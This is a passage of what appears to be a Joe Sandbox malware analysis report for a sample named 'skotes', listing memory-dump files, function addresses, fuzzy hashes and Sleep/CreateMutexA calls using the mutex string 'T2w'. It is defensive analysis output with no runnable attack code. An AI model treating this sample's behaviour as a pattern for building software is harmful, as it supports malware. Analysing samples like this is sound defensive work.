Associated: 00000002.00000002.1878285156.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878339299.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878579134.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878629035.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878809595.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878895976.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1879273306.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880056253.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880086447.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880117281.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880207419.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880239951.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880239951.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880324440.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880736260.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880955900.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881105680.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881146238.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881231534.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881261563.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2w
API String ID: 1464230837-3085299600
Opcode ID: 874134521aa7f9170b8175ab08235375d8c45bc37c109fd1bdf7b1cd14b8379a
Instruction ID: 41b2ed1f08b36b14a8488e8471dc1b0cc1999ae9ebcf1cf28211224ceb72c549
Opcode Fuzzy Hash: 874134521aa7f9170b8175ab08235375d8c45bc37c109fd1bdf7b1cd14b8379a
Instruction Fuzzy Hash: 86312631B02104EBEB18DBBCDC89BADB772EFC6314F248219E014972D6D73E99C49652

Function 0071A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0071A963
CreateMutexA.KERNELBASE(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000002.00000002.1875860672.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000002.00000002.1875821075.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1875860672.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1875983687.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876024181.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876067098.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876110225.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876152057.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876335437.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876367559.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876400996.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876436345.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876472751.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876472751.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876554507.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877028418.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877070327.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877092655.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877123055.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877142202.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877168226.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877194197.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877311251.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877338844.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877428693.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878155602.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878182635.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878212598.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878285156.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878339299.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878579134.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878629035.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878809595.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878895976.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1879273306.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880056253.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880086447.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880117281.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880207419.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880239951.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880239951.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880324440.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880736260.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880955900.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881105680.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881146238.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881231534.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881261563.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2w
API String ID: 1464230837-3085299600
Opcode ID: bb14328359b1c398019a6fc186a5640a544282afe1edddbda4c75566ac6aaba1
Instruction ID: 4b541b66318e2e6fe27a3324c36b519592659d6c35ed23c28cd17d6523863e39
Opcode Fuzzy Hash: bb14328359b1c398019a6fc186a5640a544282afe1edddbda4c75566ac6aaba1
Instruction Fuzzy Hash: B8312B31B01140EBEB18EBBCD8C97ADB762EFC1314F248218E454972D6D77D99C48666

Function 0071A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0071A963
CreateMutexA.KERNELBASE(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000002.00000002.1875860672.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000002.00000002.1875821075.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1875860672.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1875983687.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876024181.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876067098.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876110225.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876152057.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876335437.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876367559.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876400996.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876436345.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876472751.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876472751.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876554507.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877028418.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877070327.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877092655.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877123055.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877142202.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877168226.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877194197.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877311251.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877338844.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877428693.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878155602.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878182635.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878212598.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878285156.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878339299.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878579134.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878629035.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878809595.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878895976.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1879273306.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880056253.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880086447.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880117281.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880207419.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880239951.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880239951.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880324440.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880736260.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880955900.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881105680.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881146238.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881231534.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881261563.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2w
API String ID: 1464230837-3085299600
Opcode ID: 9dbf3d794695c8b46e737e394249dc2002c946cea035d612d0207c50f8ac1ee3
Instruction ID: 9dbc42297de374009625031c612ed84471f3d8b0d8ffb85289f8f4452a48878d
Opcode Fuzzy Hash: 9dbf3d794695c8b46e737e394249dc2002c946cea035d612d0207c50f8ac1ee3
Instruction Fuzzy Hash: 57312931605100EBEB18DB7CD889BACB762EBC5318F248218E054972D2DB3D99C48622

Function 0071A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0071A963
CreateMutexA.KERNELBASE(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000002.00000002.1875860672.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000002.00000002.1875821075.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1875860672.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1875983687.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876024181.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876067098.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876110225.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876152057.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876335437.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876367559.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876400996.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876436345.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876472751.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876472751.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876554507.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877028418.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877070327.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877092655.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877123055.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877142202.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877168226.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877194197.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877311251.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877338844.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877428693.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878155602.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878182635.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878212598.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878285156.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878339299.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878579134.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878629035.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878809595.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878895976.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1879273306.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880056253.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880086447.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880117281.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880207419.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880239951.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880239951.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880324440.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880736260.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880955900.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881105680.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881146238.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881231534.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881261563.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2w
API String ID: 1464230837-3085299600
Opcode ID: 71d644f564d13d8c3162c35df1d274450077144c33f71d349323c487ef4cf261
Instruction ID: 76d2c2f1b1dff60671f3b1bb8c0e3a46bf338e64a999ebf5de7e3550204d2a41
Opcode Fuzzy Hash: 71d644f564d13d8c3162c35df1d274450077144c33f71d349323c487ef4cf261
Instruction Fuzzy Hash: B0312A31701100EBEB18DB7CDD89BADB772EBC1314F248618E054D72D6D73D99C48666

Function 00719ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0071A963
CreateMutexA.KERNELBASE(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000002.00000002.1875860672.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000002.00000002.1875821075.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1875860672.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1875983687.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876024181.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876067098.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876110225.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876152057.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876335437.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876367559.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876400996.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876436345.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876472751.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876472751.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876554507.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877028418.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877070327.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877092655.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877123055.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877142202.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877168226.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877194197.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877311251.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877338844.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877428693.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878155602.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878182635.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878212598.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878285156.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878339299.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878579134.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878629035.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878809595.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878895976.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1879273306.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880056253.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880086447.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880117281.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880207419.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880239951.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880239951.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880324440.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880736260.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880955900.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881105680.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881146238.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881231534.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881261563.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2w
API String ID: 1464230837-3085299600
Opcode ID: 6ebe824d03d7987d4dacc1a1af9ac1cb3656bc17c412d6c0ae14a78cfc187cf6
Instruction ID: a3771cfb3909e57fd433796b88c8b83168a930111b2142a40579831b50ebfb85
Opcode Fuzzy Hash: 6ebe824d03d7987d4dacc1a1af9ac1cb3656bc17c412d6c0ae14a78cfc187cf6
Instruction Fuzzy Hash: 39214C31705200EBEB28AB6CECC97ACB762EBC1314F24421DE458D72D2DB7DA9C58612

Function 0071A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0071A963
CreateMutexA.KERNELBASE(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000002.00000002.1875860672.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000002.00000002.1875821075.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1875860672.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1875983687.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876024181.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876067098.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876110225.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876152057.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876335437.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876367559.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876400996.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876436345.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876472751.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876472751.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876554507.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877028418.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877070327.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877092655.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877123055.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877142202.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877168226.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877194197.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877311251.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877338844.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877428693.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878155602.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878182635.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878212598.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878285156.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878339299.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878579134.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878629035.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878809595.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878895976.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1879273306.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
